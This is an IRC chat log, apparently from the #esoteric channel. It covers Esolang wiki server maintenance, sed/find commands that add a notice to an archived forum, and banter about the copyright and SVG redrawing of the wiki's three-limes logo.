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13:40:50 <elliott> RocketJSquirrel: You know how C is fast because it allows memory corruption?
13:41:01 <elliott> Snack is esoteric because it enforces memory corruption.
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13:41:29 <elliott> fizziew: Anyway, how can an article be a member of a category that doesn't exist?
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14:50:24 <elliott> php5-fpm default www spool now listens on unix socket located
14:50:24 <elliott> in /var/run/php5-fpm.sock instead of localhost:9000. If you
14:50:24 <elliott> have configured your webserver to use localhost:9000, you will
14:50:24 <elliott> have to change your settings.
14:50:29 <elliott> Hey guys, I'm about to break Esolang.
14:53:13 <nortti> elliott: did you do this:
14:53:49 <elliott> │ ; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
14:53:49 <elliott> │ ; http://php.net/sendmail-path
14:53:49 <elliott> │ -sendmail_path = /usr/sbin/sendmail -t
14:53:56 <elliott> nortti: Oh, is it broken already?
14:53:58 <elliott> I didn't even reload the server yet.
14:54:23 <nortti> elliott: at least for me
14:54:26 <elliott> Restarting PHP5 FastCGI Process Manager: php5-fpm*** glibc detected *** /usr/sbin/php5-fpm: free(): invalid pointer: 0xb6ca2778 ***
14:54:56 <elliott> Something is rotten in the state of Esolang.
14:56:35 <elliott> nortti: Is it working for you now?
14:56:41 <elliott> It's working for me, despite this double-free.
14:57:15 <elliott> Oh well, I'll proceed to ignore the problem then.
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15:23:03 <elliott> anyway, we're on php 5.4.0 now, woop woop
15:24:43 <elliott> Oh great, MediaWiki security update.
15:24:46 <elliott> I'm going to break the wiki again, guys.
15:30:44 <elliott> Note to self: elliott@solidity:/srv/esolangs.org/www/mediawiki-1.18.2$ sudo cp -a ../mediawiki/{LocalSettings.php,extensions,images,cache} .
15:34:33 <elliott> (Yes, that's my password!)
15:36:54 <RocketJSquirrel> I didn't even get the chance to test if that was really your password ;)
15:38:01 <elliott> RocketJSquirrel: SECURITY, MAN
15:38:20 <elliott> RocketJSquirrel: Password logins are YESTERDAY. If I lost my computer then I'd still be able to login if I had a password login.
15:38:24 <elliott> And where would we be *then*>
15:39:03 <elliott> RocketJSquirrel: P.S. sshing in to esolangs.org is grievous sin; "ssh solidity" is the only acceptable phrasing.
15:40:11 <mroman> Is there some notation for formulating "sequences" of logic "conclusion"?
15:41:04 <mroman> Given Q, by Axiom P we know A' and therefore Q = Q', further by Axiom P1 we know A'' and therefore Q' = Q''
15:41:11 <RocketJSquirrel> If not, I think Matrix of Solidity is begging to be linguified. Also I may have already mentioned this possibility.
15:41:23 <elliott> mroman: Any proof verifier's input?
15:41:29 <elliott> Metamath works purely on modus ponens deduction steps.
15:41:36 <elliott> The proofs are exceedingly ugly, though.
15:41:54 <elliott> (In source, not in rendered form.)
15:42:47 <mroman> elliott: I'm not intending to feed it to a proof verifier
15:42:54 <mroman> but it would make that possible, I guess.
15:43:03 <nortti> RocketJSQuirrel: datatype or movie?
15:43:05 <elliott> mroman: I wasn't suggesting a purpose, I was answering the question :)
15:43:35 <elliott> mroman: But, uhh, doesn't *any* proof notation satisfy that?
15:43:38 <RocketJSquirrel> nortti: WTF could "matrix math" POSSIBLY MEAN if I was referring to the movie?
15:43:58 <elliott> I mean, does natural deduction count?
15:44:04 <mroman> I don't know any proof notation ;)
15:44:35 <fizziew> RocketJSquirrel: I don't know, they speak a lot of "the one" in the movie, that's quite mathy!
15:44:36 <mroman> I know predicate logic
15:45:07 <mroman> But that does not really allow me to sequence stuff.
15:45:12 * elliott throws another Wikipedia page: http://en.wikipedia.org/wiki/Sequent_calculus
15:45:20 <elliott> The best form of battle: Wikipedia duelling.
15:46:29 <fizziew> First you wikipedia, then you cowikipedia.
15:46:49 <elliott> @tell oerjan http://esolangs.org/w/index.php?title=Joke_language_list&diff=prev&oldid=16343 I CAN NEVER FORGIVE YOU
15:46:50 <mroman> elliott: That's what I was looking for. Thanks.
15:48:27 <elliott> RocketJSquirrel: http://esolangs.org/wiki/Mugh_brains
15:49:04 <elliott> http://esolangs.org/wiki/ThisIsNotARealLanguage Wow, Maxsteele2 DISHES OUT THE QUALITY.
15:50:45 <elliott> http://esolangs.org/wiki/File:Whatsyellowanddangerous.png Hey, look at this copyvio!
15:51:53 <mroman> Although it looks like total overkill :)
15:52:59 <fizziew> elliott: Now you made his user page all boring. :/
15:53:15 <elliott> fizziew: Yes: my secret motive.
15:55:21 <elliott> fizziew: The: IRONY is that Logo.png might just be a copyvio.
15:56:53 <elliott> http://commons.wikimedia.org/wiki/Category:Anti_vector_graphics_program_logos
15:57:09 <elliott> nortti: It was deleted from commons for being from a stock image site with unclear licensing, though it previously claimed to be public domain.
15:57:29 <fizziew> Hey, Google's "visually similar images" for the trilime is like the best. http://bit.ly/GVk2At
15:57:38 <fizziew> Quite often it returns nonsense, but this time it's right on.
15:58:15 <fizziew> Also there's quite a few limes in the internet.
15:58:52 <fizziew> Also it's crazy, it turned the image itself into the text "cut limes".
16:00:25 <elliott> fizziew: If you google "three cut limes" you can even find DERIVATIVES OF THE SAME IMAGE
16:00:59 <fizziew> Well, I did a "search by image" and it does find quite a few places where different-sized versions of the real trilime (please stand up) are used.
16:01:23 <fizziew> Food sites, mostly. It's still in recipes.wikia.com/wiki/Lime and so on.
16:01:45 -!- quintopia has set topic: This is CERTAINLY the MOST TERRIFYING GAMALOST you will RUN AWAY FROM all OLSOK: http://championofbirds.com/?p=4991 | http://codu.org/logs/_esoteric/ | The proof is trivial! Just view the problem as a convex algebra whose elements are alternating Turing machines.
16:02:36 -!- elliott has set topic: This is CERTAINLY the MOST TERRIFYING GAMALOST you will RUN AWAY FROM all OLSOK: http://championofbirds.com/?p=4991 | The proof is trivial! Just view the problem as a convex algebra whose elements are alternating Turing machines | http://codu.org/logs/_esoteric/.
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16:23:31 <RocketJSquirrel> http://commons.wikimedia.org/wiki/Category:Manually_coded_SVG Haha oh god why
16:24:04 <elliott> <RocketJSquirrel> elliott: What is the highest-quality original available?
16:24:22 <elliott> RocketJSquirrel: There's a spammy Wikipedia mirror-thing with the original high-resolution JPG.
16:24:47 <elliott> RocketJSquirrel: I would like to ask a Commons administrator to show me the deleted description page, since it presumably contained a link to the original stock photo page.
16:25:00 <elliott> Which presumably has the original.
16:26:22 <elliott> RocketJSquirrel: I would, if I could.
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16:26:28 <elliott> RocketJSquirrel: I found it once and haven't been able to find it again since.
16:26:36 <elliott> RocketJSquirrel: Googling "three_cut_limes" or the like turned it up the first time.
16:27:29 <RocketJSquirrel> http://rookery.s3.amazonaws.com/1602000/1602155_c201_625x625.jpg
16:27:39 <elliott> RocketJSquirrel: Higher-res than that (and not watermarked).
16:27:50 <RocketJSquirrel> Yeah, I assume so, but that's higher-res than what we've got.
16:28:13 <RocketJSquirrel> We should make sure we have the highest-res available mirrored somewhere for FUTURE ARTISTIC WORK.
16:29:12 <elliott> RocketJSquirrel: I would rather not increase the resolution until I've determined it's not an infringement...
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16:29:40 <elliott> RocketJSquirrel: Totally relatedly, if someone models a vector image on a photograph, is that a derivative work? What if it's traced?
16:29:50 <elliott> I would assume "probably not" and "yes".
16:31:04 <elliott> RocketJSquirrel: http://s294.photobucket.com/albums/mm83/AppleJuiceisGood/Decorated%20images/?action=view¤t=180px-Three_cut_limes.jpg&mediafilter=images
16:31:34 <elliott> http://partyflock.nl/albumelement/12886448:Three_cut_limes.html ;; this might be the original
16:32:57 <elliott> RocketJSquirrel: http://en.wikivisual.com/images/e/e3/Three_cut_limes.jpg
16:33:18 <elliott> Phantom_Hoover saying that made me reverse image source the partyflock.nl link I just linked, which turned that up :P
16:37:13 <elliott> RocketJSquirrel: THANKS FOR THE THANKS
16:44:53 <coppro> hey pikhq_: your government owes me money
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16:48:47 <nortti> why the fuck does one put disconnect from server right next to close tab and make it so it doesn't ask if I want to do it on a mouse driven interface!?
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16:54:27 <Phantom_Hoover> nortti, there's a key combination on XChat which I don't actually know but is very easy to hit accidentally which exits the current channel.
16:57:22 <nortti> Well at lest once I have made TenFourFox ask if I want to quit this one is eliminated, but before I found this setting in about:config I very usually pressed Cmd-Q instead of Cmd-W and then it quit the browser and disconnected me from any irc channels I had open
17:00:06 <elliott> The problem is that you're using ChatZilla for some incomprehensible reason.
17:01:10 <nortti> elliott: irssi didn't want to compile and my own client only supports one channel at a time
17:01:25 <elliott> XChat? Wait, it's OS X. Limechat?
17:02:02 <elliott> Or that MacIrssi thing. I don't know if it's any good.
17:02:21 <nortti> elliott: what is wrong with ChatZilla.
17:02:56 <nortti> elliott: I run OS X 10.4, so nothing really runs on this unless I compile it from source
17:03:57 <nortti> Phantom_Hoover: what is wrong with Firefox (by the way I don't use Firefox, but rather TenFourFox)
17:04:00 <elliott> Phantom_Hoover: Not technically true.
17:04:27 <nortti> elliott: what makes it terrible?
17:05:34 <elliott> It simply has generally awful UI and behaviour in comparison to basically every other client (apart from all the other ones that suck).
17:06:53 <nortti> I have no problem with it except the disconnect from server thing
17:07:08 -!- Mathnerd314 has joined.
17:07:41 <nortti> and I also hate when enter press counts when you basicaly move your finger next to it
17:07:58 <nortti> but that's problem with my keyboard
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17:13:27 <elliott> RocketJSquirrel: ANYWAY <elliott> RocketJSquirrel: Totally relatedly, if someone models a vector image on a photograph, is that a derivative work? What if it's traced?
17:13:27 <elliott> <elliott> I would assume "probably not" and "yes".
17:15:10 <RocketJSquirrel> I would assume "yes but perhaps falls under fair use" and "yes and you'll go to *IAA prison"
17:16:05 <RocketJSquirrel> I assume that, per Commons policy, you'll be making this vector image with vim, and not a *gasp* VECTOR ART PROGRAM.
17:18:38 <elliott> Actually I was going to order someone else to do it.
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17:29:22 <nortti> http://www.osnews.com/story/6282
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17:45:02 <pikhq_> RocketJSquirrel: Wait what?
17:46:04 <RocketJSquirrel> pikhq_: http://commons.wikimedia.org/wiki/Category:Manually_coded_SVG
17:46:11 <RocketJSquirrel> (It's not actually a policy, I was just making a joke ;) )
17:46:49 <RocketJSquirrel> But it has links like http://commons.wikimedia.org/wiki/Category:SVG_files_to_be_drawn_by_hand (things that should be re-"drawn" by manually editing SVG files)
17:48:00 <pikhq_> But... That... And... GAH
17:50:20 <elliott> RocketJSquirrel: This "Sarang" guy sure has a chip on their shoulder :P
17:50:59 <elliott> Deewiant: Can I have the esoforum archive? Email to penguinofthegods@gmail.com would be fine
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17:55:46 <RocketJSquirrel> elliott: By the way, since I let the whole conversation go without a word, the yellow on the homepage is too obtrusive. Hyuk hyuk hyuk.
17:56:31 <tswett> RocketJSquirrel: I was going to /whois you, but it's pretty clear who you are from your last twelve messages.
17:56:35 <tswett> Use this information wisely.
17:57:12 <tswett> Now. This one answer on StackOverflow says, "Java doesn't support shared memory because it's very OS specific". Is there something OS-specific about shared memory itself, or is it just that setting it up is OS-specific?
17:57:33 <elliott> RocketJSquirrel: It's the FEATURED LANGUAGE, man.
17:57:37 <tswett> I mean, the *concept* of shared memory seems pretty simple. There doesn't seem to be much wiggle room in "there's this region of memory that multiple running programs can access".
17:57:49 <elliott> tswett: "This one answer on Stack Overflow says," === "This following statement is complete bullshit,"
17:58:09 <elliott> But yes, there is no portable shared memory API, just like there's no portable practically-anything API.
17:58:14 <tswett> Hm. I can believe that.
17:58:23 <elliott> POSIX has its own thing and it's awful, Windows presumably has its own thing and it's almost certainly twice as awful.
17:58:43 <elliott> Java achieves "write once, run anywhere" by barely letting you talk to the OS at all.
17:59:40 <elliott> RocketJSquirrel: http://commons.wikimedia.org/wiki/Category:SVG_Simplified This is amazing.
18:00:08 <elliott> "It is suggested to order the files by their reduction ratio:
18:00:08 <elliott> When Trine-symbol.svg from 26 August 2007 had a size of 2022 and is now 188 bytes, the quotient 188/2022 is 0.09297725; the first four digits after the "0." are the sorting key, written [[Category:SVG Simplified| 0929]], with a space between the "|"-stroke and the four digits to prevent group 0..9 creation."
18:00:29 <pikhq_> And of course *Linux* shared memory is a still different thing.
18:01:04 <elliott> Deewiant: http://upload.wikimedia.org/wikipedia/commons/c/c6/OpenOffice.org_2_icon.svg http://upload.wikimedia.org/wikipedia/commons/f/fc/OpenOffice.org_2_icon_small.svg
18:01:09 <elliott> RocketJSquirrel: http://upload.wikimedia.org/wikipedia/commons/c/c6/OpenOffice.org_2_icon.svg http://upload.wikimedia.org/wikipedia/commons/f/fc/OpenOffice.org_2_icon_small.svg
18:01:14 <elliott> RocketJSquirrel: Zoom in, note how latter one looks terrible
18:01:53 <pikhq_> Huh, Windows shared memory is not horrifying.
18:02:03 <pikhq_> It's done via their mmap-alike.
18:02:04 <olsner> "disgarbaged version" :)
18:07:32 <fizzie> Perhaps someone should just buy some limes and recreate a known-not-infringing version.
18:07:39 <Deewiant> Ah, now I remember why catalyst was preferred to xf86-video-ati: "dynpm only works when a single head is active".
18:07:54 <elliott> fizzie: No, it must be Those Specific Limes.
18:08:01 <elliott> fizzie: Spiritual reasons.
18:08:41 <Deewiant> And using the "low" profile was annoyingly louder than catalyst. Ah well, maybe I'll try again anyway.
18:10:47 <elliott> Deewiant: Woot: http://esolangs.org/forum/
18:10:57 <elliott> Now to put up a notice of historicity, and tell Graue to redirect the voxelperfect URL.
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18:20:11 <elliott> `run echo '<body blah>foo' | sed 's/<body ([^>]*)>/\1 test'
18:20:13 <HackEgo> sed: -e expression #1, char 24: unterminated `s' command
18:20:16 <elliott> `run echo '<body blah>foo' | sed 's/<body ([^>]*)>/\1 test/'
18:20:19 <HackEgo> sed: -e expression #1, char 25: invalid reference \1 on `s' command's RHS
18:20:24 <elliott> `run echo '<body blah>foo' | sed 's/<body \([^>]*)>/\1 test/'
18:20:26 <elliott> `run echo '<body blah>foo' | sed 's/<body \([^>]*\)>/\1 test/'
18:20:28 <HackEgo> sed: -e expression #1, char 26: Unmatched ( or \(
18:20:39 <olsner> are you trying to parse HTML in sed?
18:20:42 <elliott> `run echo '<body blah>foo' | sed 's/\(<body [^>]*>\)/\1 test/'
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18:22:09 <fizzie> 20:21 <fizzie> perlbot, html
18:22:09 <fizzie> 20:21 <perlbot> Don't parse or modify html with regular expressions! See one of HTML::Parser's subclasses: HTML::TokeParser, HTML::TokeParser::Simple, HTML::TreeBuilder(::Xpath)?, HTML::TableExtract etc. If your response begins "that's overkill. i only want to..." you are wrong. http://en.wikipedia.org/wiki/Chomsky_hierarchy and http://xrl.us/bf4jh6 for why not to use regex on HTML
18:22:54 <fizzie> Second link seems to go to the zalgofied SO thing.
18:23:19 <elliott> find . -name '*.html' -o -path './kareha.pl/*' -a -type f -exec sed -i 's/\(<body [^>]*>\)/<div style="border: 2px solid red; background: #EEE; color: #000; padding: 1em; margin: 1em"><strong>This forum is closed to new posts due to low activity and a deluge of spam.</strong> It is kept online as a static historical record. If you want to read about or discuss esoteric programming languages, the <a href="/wiki/">Esolang wiki</a> is the place to
18:24:49 <elliott> fizzie: Why does that replace all the things in kareha.pl, but none of the html files elsewhere? :(
18:27:03 <ion> convert http://i.imgur.com/uGE2y.png pgm:- | tr '\r' '\n' | tail -n +4 | less
18:28:05 <fizzie> elliott: I don't really know; at least the find bit of it should work. (With the caveat that it groups (name *.html) || (path kareha && type f).
18:28:15 <fizzie> (But all *.html are probably files anyway.)
18:30:10 <elliott> Note to self: sudo find . -name '*.html' -o -path './kareha.pl/*' -a -type f -exec sed -i 's/\(<body [^>]*>\)/\1 <p style="border: 2px solid red; background: #EEE; color: #000; padding: 1em; margin: 1em"><strong>This forum is closed to new posts due to low activity and a deluge of spam.<\/strong> It is kept online as a static historical record. If you want to read about or discuss esoteric programming languages, the <a href="\/wiki\/">Esolang wik
18:30:10 <elliott> i<\/a> is the place to go.<\/p>/' '{}' \;
18:30:22 <Deewiant> elliott: The -exec only applies to the last thing, you need brackets
18:30:39 <Deewiant> $ find . -maxdepth 1 -name '*.cc' -o -name '*.c' -type f -exec ls {} \;
18:30:41 <Deewiant> $ find . -maxdepth 1 \( -name '*.cc' -o -name '*.c' \) -type f -exec ls {} \;
18:33:38 <fizzie> That's kinda funny how it still manages to inhibit the default 'print' action. But I guess it makes sense.
18:34:57 <olsner> the find command line is like a weird syntax for prolog
18:36:43 <elliott> elliott@solidity:/srv/esolangs.org/www/static/forum$ sudo find . \( -name '*.html' -o -path './kareha.pl/*' -a -type f \) -exec sed -i 's/\(<body [^>]*>\)/\1 <p style="border: 2px solid red; background: #EEE; color: #000; padding: 1em; margin: 1em"><strong>This forum is closed to new posts due to low activity and a deluge of spam.<\/strong> It is kept online as a static historical record. If you want to read about or discuss esoteric programming
18:36:43 <elliott> languages, the <a href="\/wiki\/">Esolang wiki<\/a> is the place to go. You can download an <a href="\/forum\/forum.txz">archive of the forum<\/a> is available.<\/p>/' '{}' \;
18:36:59 <elliott> Oops, I my broke language.
18:37:13 <fizzie> You're still testing -type f only for ./kareha.pl/* files, but I suppose that doesn't matter.
18:38:21 <elliott> fizzie: That was the intention.
18:38:28 <elliott> kareha.pl/ contains files like "l50" which are HTML.
18:39:09 <fizzie> Oh, so you *want* to try running sed also on directories that have a name that ends up in ".html".
18:39:54 <elliott> fizzie: Well... there are exactly two HTML files not in kareha.pl. :p
18:40:20 <fizzie> "How is there even a file inside a Perl script I don't get it BRAIN BORKE"
18:41:23 <elliott> fizzie: Because Deewiant wgetted a site which had /kareha.pl/ CGI URLs. :p
18:42:36 <fizzie> Nooooo, I think you are having some sort of a system where you can write paths like that and it will make whatever the executable provides available as a userland filesystem style thing.
18:43:20 <fizzie> Wasn't there something like that? Any executable could provide a filesystem. Or maybe I'm just thinking of some zzo comments.
18:44:27 <fizzie> <zzo38> And also a directory /proc/$$/9p/ which contains a filesystem that the process program can create itself.
18:44:35 <fizzie> I think that was what I was thinking about.
18:46:32 <elliott> "I think I'll use this forum to post my ideas about my version of C in which the source code is written with s-expressions. If someone happens to reply with something I don't like, I'll just call them an idiot and ignore them. Warned."
18:46:42 <elliott> See, without Deewiant and I, things like this would be lost to the universe.
18:48:09 <olsner> ooh, I could then use my s-expression-to-templates translator to build a c compiler in templates
18:48:55 <elliott> http://esolangs.org/forum/kareha.pl/1192759617/l50 <-- PRESERVED FOR THE AGES
18:49:46 <olsner> hmm, damn, that'd only work if the C-in-sexps project produced a C-to-sexps translator
18:50:18 <elliott> olsner: http://esolangs.org/forum/kareha.pl/1192820791/l50, for what it's worth.
18:50:30 <elliott> (>>4 has nicer formatting than >>1.)
18:50:57 <elliott> "(The #t parameter is just some flag to say whether the expression needs a ; or whether it's a subexpression.)" -- tut tut, they should clearly have separate functions for expressions and statements.
18:52:46 <olsner> "Some things I might try are; in-built lists, and resultingly, rudimentary gargage collection"
18:52:50 <elliott> RocketJSquirrel: LOL. I didn't think it was possible to minimize it any more. Nice work. Magasjukur2 (talk) 08:50, 13 February 2012 (UTC)
18:52:50 <elliott> You did really good simplification work. But some reductions remain still almost always as a possibility. -- sarang사랑 08:55, 13 February 2012 (UTC)
18:53:03 <elliott> RocketJSquirrel: HOW IS THERE A CULTURE OF MANUAL SVG MINIMISATION
18:53:32 <elliott> http://commons.wikimedia.org/wiki/File:AFEMRib.svg -- ooh, this image is GFDL, CC by-sa, *and* public domain.
18:54:16 <olsner> "now 0.21% of previous size"
18:54:21 <fizzie> Is there a category for images done in POV-Ray? I remember that the angry Riemann sphere had POV source code in the image description.
18:54:34 <fizzie> (It could maybe do with some minimization.)
18:55:15 <olsner> I like how it's quite obviously different even when only looking at the thumbnail
18:56:22 <elliott> olsner: don't you just mean the "fix blue" one
18:56:30 <elliott> fix blue -> Disgarbaged -> code simplified looks the same to me
18:57:43 <elliott> http://en.odkk.ru/ this is still the best
18:57:49 <olsner> well, compare any of those to the original version: http://upload.wikimedia.org/wikipedia/commons/archive/9/9e/20080127095717!AFEMRib.svg
19:00:10 <elliott> olsner: yes, but the first few revisions were by the _original uploader_...
19:01:14 <olsner> hmm, the first one is by Shazz and the one after is Ipankonin? maybe those are the same though
19:02:01 <olsner> same person, not same picture obviously
19:04:27 <elliott> but it's not part of minimisation, is what i meant
19:06:22 <elliott> fizzie: olsner: You are both treasonous, by the way.
19:09:12 <olsner> oh, my... "Is C++ the Language of the Future?"
19:10:47 <ion> Coffee through nose to keyboard
19:14:28 <fizzie> elliott: I optimized the trilime for you, http://esolangs.org/w/images/c/c9/Logo.png -> http://zem.fi/~fis/trilime.svg -- keep flipping between them, you'll see the resemblance. HTH, HAND.
19:15:09 <fizzie> Well, I mean, some fidelity might be lost, but it's a great saving in bytes, and scalable to boot.
19:15:23 <ion> Minecraft trilime
19:18:50 <elliott> fizzie: http://esolangs.org/wiki/Main_Page
19:19:48 <elliott> THIS IS WHY YOU DON'T TEMPT ME, FOLKS
19:21:04 <ion> The Illuminati.
19:21:38 <elliott> Mathnerd314: Who runs what?
19:22:12 <elliott> fizzie: Have you seen it yet, I should: put it back.
19:22:28 <fizzie> elliott: I have seen it, thank you. (But think of the bandwidth bills you'd save!)
19:22:57 <Mathnerd314> in particular, who put the quote "enjoy being locked in your matrix of solidity" at the bottom?
19:23:17 <elliott> Me, since I redesigned the front page recently. But RocketJSquirrel put it there originally.
19:23:24 <HackEgo> 294) <treederwright> enjoy being locked in your matrix of solidity
19:23:36 <elliott> Why, are you locked in one?
19:24:08 <elliott> fizzie: With a little bit more detail and slightly more accurate colours I might have even kept it. :p
19:24:49 <Deewiant> Sweet, xf86-video-ati seems to be working well.
19:25:05 <elliott> Mathnerd314: I'm also to blame for the kaksikymmentäneljätuntiaikakausitämänhetkinen thing. If you need a scapegoat.
19:26:36 <olsner> `quote kaksikymmentäneljätuntiaikakausitämänhetkinen
19:27:35 <elliott> http://miekko.infa.fi/kaksikymment.ogg
19:28:17 <Mathnerd314> http://esolangs.org/wiki/Main_Page/Kaksikymment%C3%A4nelj%C3%A4tuntiaikakausit%C3%A4m%C3%A4nhetkinen
19:28:50 <elliott> Yes, the main page used to link to it.
19:29:08 <elliott> Now I keep thinking "I should delete that", but then that turns into "I should find a way to work a link to that into the main page".
19:29:15 <elliott> But then I can never think of a satisfactory way.
19:31:46 <olsner> elliott: http://olsner.se/treeleem.svg
19:34:20 <elliott> Mathnerd314: Well, can you think of something more meta?
19:34:30 <elliott> olsner: That's four, moron.
19:34:39 <elliott> NOBODY WANTS TO SEE A QUADLIME
19:34:51 <olsner> elliott: no it's tree leems
19:35:00 <Mathnerd314> elliott: go to a discussion of the main page
19:35:02 <Deewiant> elliott: http://i.imgur.com/8d10m.png
19:35:30 <olsner> but ok, that was actually a mistake, new one at http://olsner.se/treeleem2.svg
19:41:49 <elliott> Deewiant: I think there's a joke I'm missing.
19:42:20 <elliott> olsner: http://esolangs.org/wiki/Main_Page
19:42:45 <ion> THERE… ARE… THREE… LIMES!
19:42:53 <elliott> The bottom-right one is still too dark :p
19:43:07 <elliott> Also it should be 135x155 (I realise SVGs are scalable, but, you know.)
19:43:22 <olsner> I stole the colors from fizzie
19:44:01 <olsner> maybe we should just gcolor "lower right lime"
19:44:23 <elliott> fizzie knows all about gcolor.
19:44:36 <elliott> Oh, you actually meant that gcolor.
19:44:48 <elliott> I thought you meant use gcolor's colour picker to find the colour of the lime.
19:45:22 <olsner> no, or did I? maybe I did, I dunno.. isn't gcolor what it was called?
19:45:59 <elliott> But seriously: with a better colour for the bottom-right lime, the proper "two-part" border (dark green on outside, lightest green on inside) I'll seriously consider using it :P
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19:47:03 <elliott> Deewiant: Did you want me to set that as the logo? :p
19:50:13 <olsner> elliott: that's like 10 times the amount of SVG I intended to write today
19:51:01 <elliott> olsner: You hand-wrote that thing?
19:51:09 <elliott> Well, I guess it is OPTOMIZED(tm).
19:51:45 <olsner> I just replaced the rectangles with circles of the same size
19:52:49 <olsner> Mathnerd314: how could I? I don't know what those are :)
19:53:58 <Mathnerd314> http://www.w3.org/TR/SVG/painting.html#StrokeProperties
19:55:53 <Mathnerd314> should be 90% easier than using two circles...
19:57:30 <olsner> Mathnerd314: hmm, waiting for you to do it for us sounds like 100% easier
19:57:48 <olsner> now that you've determined what the Proper way to do it is, it's trivial
19:58:50 <elliott> your fingers don't even have a brain
19:59:41 <Mathnerd314> they have neurons which are registering feelings I generally associate with pain
20:00:54 <elliott> ah, less talking on irc, more fixing olsner's svg, then
20:01:30 <olsner> you know, fizzie is the real winner here
20:02:45 <fizzie> The colors were entirely accurate: I used Gimp's color picker tool to pick them. Admittedly, they're maybe not the *right* accurate colors, but they're certainly colors that existed in the image.
20:03:06 <olsner> (post three brown rectangles on IRC, wait for trilime)
20:03:07 <elliott> fizzie: I suggest making everything transparent, then :P
20:03:27 <fizzie> http://esolangs.org/w/images/c/c9/Logo.png says 135x131, I don't know anything else about sizes.
20:03:41 <elliott> Anyway, fizzie and olsner have enslaved themselves; I will now expect them to increment this towards looking like the logo.
20:04:06 <elliott> fizzie: 135x155 is the size of Wikipedia's logo (and thus what the skins are designed for).
20:04:09 <elliott> The trilime is a bit lopsided.
20:04:16 <Deewiant> Where did the whole lime idea come from?
20:04:41 -!- oerjan has joined.
20:05:13 <elliott> Deewiant: CONGRATULATION! You are user # 1, 000, 000 to ask about trilime origin . Click here to claim free viagra
20:05:25 <fizzie> Re stroke/fill, I didn't want to remember how to specify the stroke width.
20:05:30 <elliott> (a) Graue saw it (presumably on Commons); (b) he liked it; (c) and thus it was done.
20:05:50 <elliott> hi oerjan, i accept payments in blood
20:06:01 <lambdabot> oerjan: You have 2 new messages. '/msg lambdabot @messages' to read them.
20:06:05 <lambdabot> elliott said 7h 59s ago: "ALTERNATE".
20:06:05 <lambdabot> elliott said 4h 19m 13s ago: http://esolangs.org/w/index.php?title=Joke_language_list&diff=prev&oldid=16343 I CAN NEVER FORGIVE YOU
20:06:43 <Mathnerd314> http://commons.wikimedia.org/wiki/Category:Cross_sections_of_limes
20:07:17 <elliott> Mathnerd314: It was deleted.
20:07:30 <elliott> From sxc.hu, marked as "public domain" with no particular citation
20:08:25 <nortti> what!? there is category Cross sections of limes in wikimedia commons?
20:10:05 <oerjan> elliott: IT BELONGS THERE
20:11:48 <Sgeo> Limey limey lime lime lime
20:12:01 <Sgeo> I don't think I have ever tasted limes
20:12:22 <elliott> oerjan: You know how you feel when people put entries in the language list out of order?
20:13:00 <oerjan> my condolences on your insistence to use ancient r'lyehan alphabetization
20:14:12 <Mathnerd314> elliott: link to the deletion debate? or was it speedily deleted?
20:14:52 <elliott> Mathnerd314: It was deleted as part of a mass cleanup of sxc images -- http://commons.wikimedia.org/w/index.php?title=Special%3ALog&type=delete&user=&page=File%3AThree+cut+limes.jpg&year=&month=-1&tagfilter=
20:14:58 <elliott> since, as I understand it, they're actually all-rights-reserved but "free"
20:15:03 <elliott> and people interpreted this as "public domain"
20:15:08 <elliott> 20:48, 23 June 2005 Rex (talk | contribs) uploaded "File:Three cut limes.jpg" (three cut lime Photographer: jefras Source: [http://www.sxc.hu/browse.phtml?f=view&id=104899 Stock.xchng]: ''There are no usage restrictions for this photo.''. A higher resolution image is available for download at the site. {{PD}} )
20:15:51 <olsner> I tried googling for it and got "This is the 26th Usefulness Lime"
20:16:28 <elliott> http://www.sxc.hu/profile/jefras
20:16:35 <elliott> http://www.jefras.com/jefras.com/jefras.html the man
20:16:57 <elliott> ok now how do i convince this guy to release his limes into the public domain
20:18:32 <elliott> I am a retired man and I am not editing wikipedia. Will you and your stupid friends please stop sending me stupid warning messages? I don't know who you are and I don't care about you. Have a bit more care about where you send your messages as I am NOT one of your young friends and I do NOT need to receive your communications. — Preceding unsigned comment added by 86.160.25.163 (talk) 02:56, 9 January 2012 (UTC)
20:19:41 <oerjan> retired in the memetic "lack of oxygen" sense, it seems
20:20:21 <ion> Meanwhile in Finland http://www.mol.fi/paikat/Job.do?lang=fi&jobID=7943512
20:20:35 <oerjan> too bad dmm isn't active in the community any more, i'm sure he could make a _mean_ trilime picture
20:20:56 <elliott> Mathnerd314: Oh, that wasn't the guy.
20:21:06 <elliott> That was just a random quote.
20:23:13 -!- Taneb has joined.
20:23:26 <Taneb> I've got a brilliant esolang
20:23:30 <Taneb> I just need a name
20:23:46 <Taneb> It's like functional, but looks a bit like BIT
20:24:06 <Taneb> LAMBDA LAMBDA LAMBDA APPLY ONE MORE THAN ZERO APPLY APPLY ONE MORE THAN ONE MORE THAN ZERO ONE MORE THAN ZERO ZERO
20:24:34 <Taneb> (not actually a full program, merely a program segment)
20:24:56 <ion> taneb: Real Fast Nora’s Hair Salon 3: Shear Disaster Download
20:25:25 <Taneb> I'm actually going to use that name
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20:25:53 <ion> R for even shorter.
20:26:07 <oerjan> elliott: i have a feeling this language doesn't need abbreviations
20:26:11 <ion> mathnerd: No kidding
20:26:15 <oerjan> or is allergic to them
20:26:28 <olsner> oerjan: also, the full name is better
20:26:51 <elliott> I feel compelled to point out that ion used the wrong kind of apostrophe.
20:27:19 <elliott> ais523: Speaking of, I might sit down and spec out Johny sometime.
20:27:28 <oerjan> then we can create a new category for language's whose names should never be acronymized. three is enough for a category, right?
20:27:49 <elliott> oerjan: What are the other two?
20:27:50 <ion> elliott: http://4.bp.blogspot.com/-nugk2AYvMGg/TW41AYhy1_I/AAAAAAAAAr0/K9yQqE9HfwE/s1600/shairsalon3sheardisaste.jpg
20:28:03 <ais523> elliott: heh, have you found a language that the name fits yet?
20:28:16 <ais523> oerjan: does INTERCAL count? that's not quite the same thing
20:28:19 <elliott> ion: Are you saying the spammer got the name wrong?
20:28:20 <olsner> elliott: hmm, I have a feeling the bad apostrophe somehow makes the name slightly better
20:28:33 <oerjan> elliott: INTERCAL and Adjudicated Blind Collaborative Design Esolang Factory
20:28:38 <elliott> ais523: Well, no. But I figure a language that doesn't fit the name is just as good.
20:29:43 <ion> ' is a kluge made to decrease the number of keys in mechanical typewriters and later to free some codepoints in ASCII.
20:31:02 <elliott> ion: And a kludge the spammer lovingly adopted.
20:31:20 <ais523> early mechanical typewriters didn't even have 0 or 1 keys, you were meant to use O and I
20:31:36 <elliott> I have this distinct feeling people won't remember having non-straight apostrophes or different opening and closing quotes in a few hundred years.
